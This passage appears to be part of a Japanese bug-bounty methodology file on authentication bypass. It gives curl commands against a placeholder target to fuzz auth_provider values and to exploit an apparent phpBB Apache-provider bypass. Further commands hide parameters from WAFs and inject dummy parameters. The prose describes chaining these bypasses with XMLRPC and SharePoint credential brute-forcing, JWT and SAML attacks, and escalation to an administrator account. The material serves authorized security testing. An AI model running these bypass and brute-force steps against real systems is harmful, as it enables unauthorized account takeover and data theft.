Authorization: Bearerとセッション Cookie を両方送信すると、どちらか一方がもう一方を上書きする可能性があります。それぞれを個別にテストしてください。 - ステップアップ認証のバイパス — 初回ログイン後に 2FA/MFA をバイパスすることは、最も一般的な認証バイパスのパターンです。ログイン後の URL への直接アクセスをテストしてください。
関連するスキルとチェーン
hunt-idor— オブジェクトレベルのアクセス制御がない認証バイパスは、発見事項としては不完全です。組み合わせてください。チェーンのプリミティブ:レガシーな/v1/users/{id}ルートに認証ミドルウェアと所有権チェックの両方が欠けていると、ID を直接置き換えるだけで認証なしにテナントをまたいだデータを読み取れます。「何者でもない」状態から始めて、個人情報をすべてダンプできます。hunt-ato— 認証バイパスのプリミティブは、ATO の攻撃フローにつながります。チェーンのプリミティブ:XMLRPC がネイティブ認証情報を受け入れ、wp.getUsersBlogsにレート制限がない場合、hunt-miscの偵察で得た漏えい情報を使って認証情報を総当たりできます。system.multicallでリクエストごとに 1000 組の認証情報をバッチ処理し、有効な組み合わせが 1 つ見つかれば、UI で適用される SSO と MFA を回避してアカウントを乗っ取れます。hunt-sharepoint— WordPress の XMLRPC パターンに相当する SharePoint の手法はここにあります。チェーンのプリミティブ:/_vti_bin/Authentication.asmxに匿名でアクセスでき、ネイティブの Forms 認証の認証情報が受け入れられ、レート制限もない場合、カスタムブランドのcustomlogin.aspxによる保護を回避して、認証情報を無制限に総当たりできるエンドポイントになります。FedAuth Cookie を取得すれば、SharePoint ファーム全体にアクセスできます。security-arsenal— JWT の検証が認証の壁になっている場合は、JWT 攻撃ペイロードのセクション(alg=none、kid のパストラバーサル、JWK インジェクション、RS256→HS256 の鍵混同)を参照してください。SP が署名なしのアサーションを受け入れる場合は、SAML 署名を除去するセクションを参照してください。triage-validation— ユーザー名を列挙するだけ、または 401 と 403 の差異を明らかにするだけの「認証バイパス」を Critical と判定する前に、Pre-Severity Gate を実行してください。ロックアウトを増幅できないユーザー名の列挙だけでは、H1 では一貫して N/A または Informational となります。
フェーズ X — 認証プロバイダーの混同
一部のアプリケーションは、複数の認証プロバイダー(ローカル DB、OAuth、LDAP、Apache HTTP Basic、SAML)に対応しています。auth_provider パラメーターを別のハンドラーに変更すると、パスワード検証を完全にスキップできる場合があります。phpBB CVE-2026-48611 では、auth_provider=apache によるパスワードチェックのバイパスが確認されています。
# Enumerate auth providers via parameter fuzzing
for provider in local oauth ldap apache saml cas openid sso external; do
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/auth/login" \
-d "username=admin&password=x&auth_provider=$provider" \
-w "$provider — %{http_code}\n" -o /dev/null
done
# phpBB-specific: Apache provider trusts HTTP Basic header without password
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/ucp.php?mode=login_link&auth_provider=apache&login_link_test=1" \
-H "Authorization: Basic $(echo -n 'admin:x' | base64)" \
-d "login_username=admin&login_password=x&login=Login"
フェーズ Y — POST ボディパラメーターによる上書き
一部のフレームワークでは、POST ボディのパラメーターが GET クエリパラメーターより優先されます。攻撃者は、POST ボディに本当の mode=login_link を隠し、WAF/ロガーには URL の mode=login だけを認識させることができます。
# WAF sees GET: mode=login — attacker sends POST body: mode=login_link
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/ucp.php?mode=login&login_link_test=1" \
-d "login_username=admin&login_password=x&mode=login_link&auth_provider=apache&login=Login"
フェーズ Z — 空チェックを回避するためのダミーパラメーター注入
コードが特定のパラメーターを空でないことだけ要求し、その内容を検証しない場合は、ダミー値を注入します。
# Code checks: if (empty($login_link_data)) → block
# Bypass: add any login_link_* parameter with arbitrary value
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/ucp.php?mode=login_link&login_link_dummy=1"
権限昇格:認証バイパスからユーザーグループ管理を通じた管理者権限の取得へ
特権ユーザーになりすました後、再認証なしでグループやロールを管理できるか確認してください。phpBB では、founder ユーザーはパスワードを入力せずに、ユーザーコントロールパネルから他のユーザーを管理者グループに追加できます。
# 1. Auth bypass as admin
# 2. Register new attacker account
# 3. As admin, add attacker to ADMINISTRATORS group via UCP (no password needed)
# 4. Login as attacker → full ACP access with known password
## Related Skills
- **`password-spray-methodology`** — Universal password spray pipeline across all protocols + error code differentials